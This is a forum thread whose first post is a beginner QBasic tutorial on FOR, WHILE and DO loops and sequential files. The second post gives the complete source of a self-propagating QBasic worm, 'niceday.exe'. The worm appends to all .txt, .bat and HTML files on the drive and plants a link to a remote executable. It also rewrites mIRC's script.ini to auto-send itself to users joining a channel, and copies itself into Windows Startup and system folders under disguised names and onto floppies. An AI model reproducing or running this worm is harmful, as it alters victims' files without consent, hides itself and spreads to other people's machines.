QBasic Chapter Two
Results 1 to 4 of 4

Thread: QBasic Chapter Two

  1. #1
    Senior Member
    Join Date
    Nov 2001
    Location
    Ireland
    Posts
    735

    QBasic Chapter Two

    QBasic Chapter One

    I forgot I had already written Chapter Two in the QBasic saga, so here it is (sorry for the delay )




    QBasic Programming Chapter Two by Jethro
    ---------------------------------

    Chapter Two.

    Welcome to the second installment of my QBasic series!

    Index:

    o FOR...NEXT
    o WHILE...WEND
    o DO...LOOP
    o Sequential Files

    FOR...NEXT
    ------------

    Here is a qbasic program which uses the FOR statement:

    ******* for.bas ********

    ' This program uses FOR...NEXT
    ' fl00t!

    CLS
    FOR i = 1 TO 100
    PRINT "Number: "; i
    PRINT "Woo-hoo"
    NEXT i

    ************************

    Compile and run that program. What happens? The numbers should start at
    one and go all the way to 100.

    The FOR loop is in most languages: JavaScript, C++, PHP, even MS-DOS!
    Unfortunately, QBasic being the... annoying, language that it is, the
    syntax is *completely* different to all the other languages *sigh*

    "FOR i = 1 to 100". This means that the variable (i) starts at 1 and
    executes the print commands until i reaches 100.

    "NEXT i" increments the i variable. This means that it adds 1 to i, so
    the loop won't continue for infinity.

    ***** while.bas *****

    ' This program uses WHILE...WEND
    ' fl00t!

    CLS
    number = 20
    WHILE number > 18
    INPUT "Enter an number smaller than 18: ", number
    WEND
    PRINT "Well Done, Kiddo!"

    ********************

    The WHILE loop is also a pretty common feature of most programming
    languages. *Of course* the syntax is different.

    "WHILE number > 18". This is pretty self-explanatory (as are most
    things in QBasic). Basically, while the variable called "number" is
    bigger than 18, keep executing the INPUT command. Of course, if there
    was no opportunity to change the number variable in this, then the
    loop would continue for eternity!

    "WEND". I think this stands for "While End" which is basically the
    statement which defines the end of the loop.

    Here are two programs (one for FOR and one for WHILE) which will show
    you what not to do! These two programs will just keep looping and
    looping and looping and looping... you get the idea.

    ******* forever.bas *******

    ' FOR(ever)
    ' Bad #1!

    CLS
    FOR i = 1 to i + 1
    PRINT "The number is ";i
    NEXT i

    ***************************

    and...

    ******* whilewereyoung.bas *****

    ' WHILE(we're young)
    ' Bad #2!

    CLS
    j = 10
    WHILE j = 10
    PRINT "J is 10"
    WEND

    *********************************

    Do...Loop

    Basically, this is another way of using the WHILE statement...

    ***** dowhile.bas *******

    DO WHILE NOT j = 5
    INPUT "Enter 5: ", j
    LOOP

    ************************

    As you can see, it is just basically an alternative method of looping.
    This one loops while j is not equal to 5.

    But there is another way of using do. It's called the "until"

    ****** dountil.bas *******

    DO UNTIL j = 5
    INPUT "Enter 5: ", j
    LOOP

    **************************

    This program has the same function as the above except it keeps looping
    UNTIL the j variable equals 5. LOOP indicates the end of the loop.


    Sequential Files
    ----------------

    Sequential files are a large part of QBasic programming and really easy
    to use. A large term for something really easy.

    Basically, sequential files are the way of using external files for
    storing or reading data.
    Here is an example of a program whiich uses sequential files.

    ******** sequential.bas *****

    ' This program stores data

    CLS

    INPUT "What is your name: ", name$
    OPEN "hey.txt" FOR OUTPUT AS #1
    PRINT #1, name$
    CLOSE #1

    ******************************

    Doesn't look to complicated does it? Here is a basic explanation of
    everything.

    'OPEN "hey.txt" FOR OUTPUT AS #1'... Basically, this OPENs the file
    "hey.txt" (if it doesn't exist, a new one will be created) so it can
    be written to (OUTPUT). #1 is what's called the "file number", or
    "file pointer". This is what we call the file when we need to refer to
    it, so we can read/write to it.

    "PRINT #1, name$". This PRINTS out the variable name$ however because
    we used #1 right after the PRINT command, the name$ isn't outputted to
    the screen, its OUTPUT goes to #1 (ie. "hey.txt").

    "CLOSE #1". This CLOSEs the file we have called #1.

    There are 3 main access modes that we can use.

    +++++++++-
    OUTPUT - This is how we can write data to a file. Information written
    to a file with the OUTPUT access mode, overwrites all (if any)
    information already in the file.
    ---------
    APPEND - With the APPEND access mode, we can write information to the
    end of a file, preserving the existant information.
    ---------
    INPUT - With this, we can get information *from* a file.
    +++++++++-

    Here is an example of a program using the INPUT access mode keyword. If
    "hey.txt" doesn't exist, you'll get an error message when you are
    running/compiling the program.

    **** seq-input.bas ****

    ' This program uses the INPUT keyword

    CLS

    OPEN "hey.txt" FOR INPUT AS #1
    INPUT #1, line1$
    INPUT #1, line2$
    CLOSE #1

    PRINT "The First Line is: ", line1$
    PRINT "The Second Line is: ", line2$

    ************************

    As you can see, to get the information from #1, we use the INPUT
    command.

    That's enough for Chapter Two. Expect for about sequential files, among
    other things, in Chapter Three.

    Happy Programming,
    Jethro

    ******** EOF ***********

  2. #2
    Senior Member
    Join Date
    Nov 2001
    Location
    Ireland
    Posts
    735
    For all you lovers of non-destructive QBasic virii:



    QBasic Virus by Jethro
    ---------------------

    Disclaimer: Please do not change this program into a malicious virus, this
    program was made to show you that QBasic programs can be made into worms as
    well. It was not made to wreck people's computers (which I might as well add,
    it does not do, in its present state). I hate destructive virii.

    Here is the source code to a virus I made in about 2 hours. It is
    called niceday.exe and was created in QBasic.

    I wanted to write a virus in QBasic, because all other virii I
    encounter are written in either ASM or C++ or another popular
    language, I wanted to see if I could mimick their plan of attack
    in QBasic. There are no ASM commands in this, even though, if
    you know QBasic, you know how easy it is to encorporate ASM into
    QBasic programs. It is all QBasic, however it does enlist the help
    of MS-DOS (through the SHELL command) on certain occasions so this
    is a Windows (and MSDOS) only virus.

    Since I really hate destructive virii, there is no fixed payload
    in this. I was going to make it a random destructive payload but
    I decided against it, in case someone used this code for malicious
    reasons, which I do not want to happen.

    What it does:
    1) Appends to text files (INFECTFILES)
    2) Creates messages in batch files (INFECTBATCH)
    3) Spreads through mIRC (SPREAD2MIRC)
    4) Spreads locally through the users computer (REMOTESPEAD)
    5) Creates comments in HTML files (INFECTHTML)
    6) Copies itself onto floppy disks (INFECTFLOPPY)
    7) Puts a link to itself on Outlook Stationary Files (INFECTHTML)

    +++++
    Note: It infects Stationary files by putting a link to an executable
    program on a website. You would change this to a link to your
    website, or to a program on the Internet, or whatever. The default
    website does not exist.
    +++++


    ** Start source code for niceday.exe, written in QBasic by Jethro **

    ' Written by Jethro
    ' Have a Nice day!
    DECLARE SUB DRAWWINDOW ()
    DECLARE SUB INFECTFILES ()
    DECLARE SUB SPREAD2MIRC ()
    DECLARE SUB REMOTESPREAD ()
    DECLARE SUB SPREAD (file2spr$, where2spr$)
    DECLARE SUB INFECTHTML ()
    DECLARE SUB IFEXIST (filen$)
    DECLARE SUB INFECTBATCH ()
    DECLARE SUB INFECTFLOPPY ()

    COMMON SHARED itexist, nodrive

    itexist = 0
    nodrive = 0

    ON ERROR GOTO ohsoz

    blinks = 2

    FOR i = 1 TO blinks
    CLS
    LOCATE 5, 12: PRINT "Jethro Perazza Jones"
    LOCATE 6, 13: PRINT "Have a Nice Day Now"
    SLEEP 1
    DRAWWINDOW
    SLEEP 1
    NEXT i

    INFECTFILES

    SPREAD2MIRC

    REMOTESPREAD

    INFECTHTML

    INFECTBATCH

    INFECTFLOPPY

    ohsoz:

    errorhandler:

    SELECT CASE ERR

    CASE IS = 71
    nodrive = 1

    END SELECT

    RESUME NEXT

    SUB DRAWWINDOW
    LOCATE 4, 10: PRINT ""
    LOCATE 5, 10: PRINT ""
    LOCATE 6, 10: PRINT ""
    LOCATE 7, 10: PRINT ""
    LOCATE 4, 48: PRINT ""
    LOCATE 5, 48: PRINT ""
    LOCATE 6, 48: PRINT ""
    LOCATE 7, 48: PRINT ""
    FOR i = 11 TO 47
    LOCATE 4, i: PRINT ""
    LOCATE 7, i: PRINT ""
    NEXT i
    END SUB

    SUB IFEXIST (filen$)
    fred$ = ""
    SHELL "DIR " + filen$ + " /b>files.$$$"
    OPEN "files.$$$" FOR INPUT AS #1
    DO WHILE NOT (EOF(1))
    INPUT #1, fred$
    LOOP
    CLOSE #1: KILL "files.$$$"
    IF NOT LEN(fred$) >= 1 THEN itexist = 0
    IF LEN(fred$) >= 1 THEN itexist = 1
    END SUB

    SUB INFECTBATCH
    SHELL "DIR C:\*.bat /B /S>batch.$$$"
    OPEN "batch.$$$" FOR INPUT AS #1
    DO WHILE NOT (EOF(1))
    INPUT #1, file2do$
    OPEN file2do$ FOR APPEND AS #2
    PRINT #2, ""
    PRINT #2, "echo Ran %0"
    PRINT #2, ":: Having a good day?"
    CLOSE #2
    CLOSE #1
    LOOP
    KILL "batch.$$$"
    END SUB

    SUB INFECTFILES
    PRINT "Scanning for files..."
    SHELL "DIR C:\*.txt /S /B>phy.lst"
    OPEN "phy.lst" FOR INPUT AS #1
    DO WHILE NOT (EOF(1))
    INPUT #1, phyle$
    OPEN phyle$ FOR APPEND AS #2
    PRINT #2, ""
    PRINT #2, "Jethro P. Jones says: 'Have a nice day now!'"
    CLOSE #2
    LOOP
    CLOSE #1
    KILL "phy.lst"
    PRINT "Scanning for needed drivers..."
    END SUB

    SUB INFECTFLOPPY
    ON ERROR GOTO errorhandler
    SPREAD "niceday.exe", "A:\niceday.exe"
    END SUB

    SUB INFECTHTML
    SHELL "DIR C:\*.htm* /B /S>tempfile.$$$"
    OPEN "tempfile.$$$" FOR INPUT AS #1
    DO WHILE NOT (EOF(1))
    INPUT #1, file2do$
    OPEN file2do$ FOR APPEND AS #2
    PRINT #2, ""
    IF NOT INSTR(file2do$, "micros") THEN PRINT #2, ""
    IF INSTR(file2do$, "micros") THEN PRINT #2, "<a href=http://www.myserver.com/jethro/happyday.exe>Download this for a very happy day!</a>"
    CLOSE #2
    LOOP
    CLOSE #1
    KILL "tempfile.$$$"
    END SUB

    SUB REMOTESPREAD
    SPREAD "niceday.exe", "C:\WINDOWS\niceday.exe"
    SPREAD "niceday.exe", "C:\WINDOWS\SYSTEM\winpgup.exe"
    SPREAD "niceday.exe", "C:\WINDOWS\COMMAND\win32dice.exe"
    SPREAD "niceday.exe", "C:\autoexec.exe"
    SPREAD "niceday.exe", "C:\WINDOWS\StartM~1\Progra~1\Startup\win32pgup.exe"
    SPREAD "niceday.exe", "C:\WINDOWS\Progra~1\niceday.exe"
    END SUB

    SUB SPREAD (file2spr$, where2spr$)
    SHELL "COPY " + file2spr$ + " " + where2spr$ + ">nul"
    END SUB

    SUB SPREAD2MIRC
    ON ERROR GOTO ohsoz
    IFEXIST "C:\mirc\script.ini": IF itexist = 0 THEN GOTO 5
    OPEN "C:\mirc\script.ini" FOR OUTPUT AS #1
    PRINT #1, "[script]"
    PRINT #1, "n0=on 1:JOIN:#:/.dcc send -c $nick C:\WINDOWS\niceday.exe"
    CLOSE #1
    5
    END SUB

    ** End of Program **

  3. #3
    Senior Member
    Join Date
    Aug 2001
    Posts
    130

    Thumbs up

    Nice post.....

    I havent come across Q Basic thus far...

    Saving it to read over

  4. #4
    Senior Member
    Join Date
    Apr 2002
    Posts
    250
    Great post! Thanks.
    [gloworange]Die, or surrender, either way won\'t work.[/gloworange]
    [shadow]HuntX7[/shadow]

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •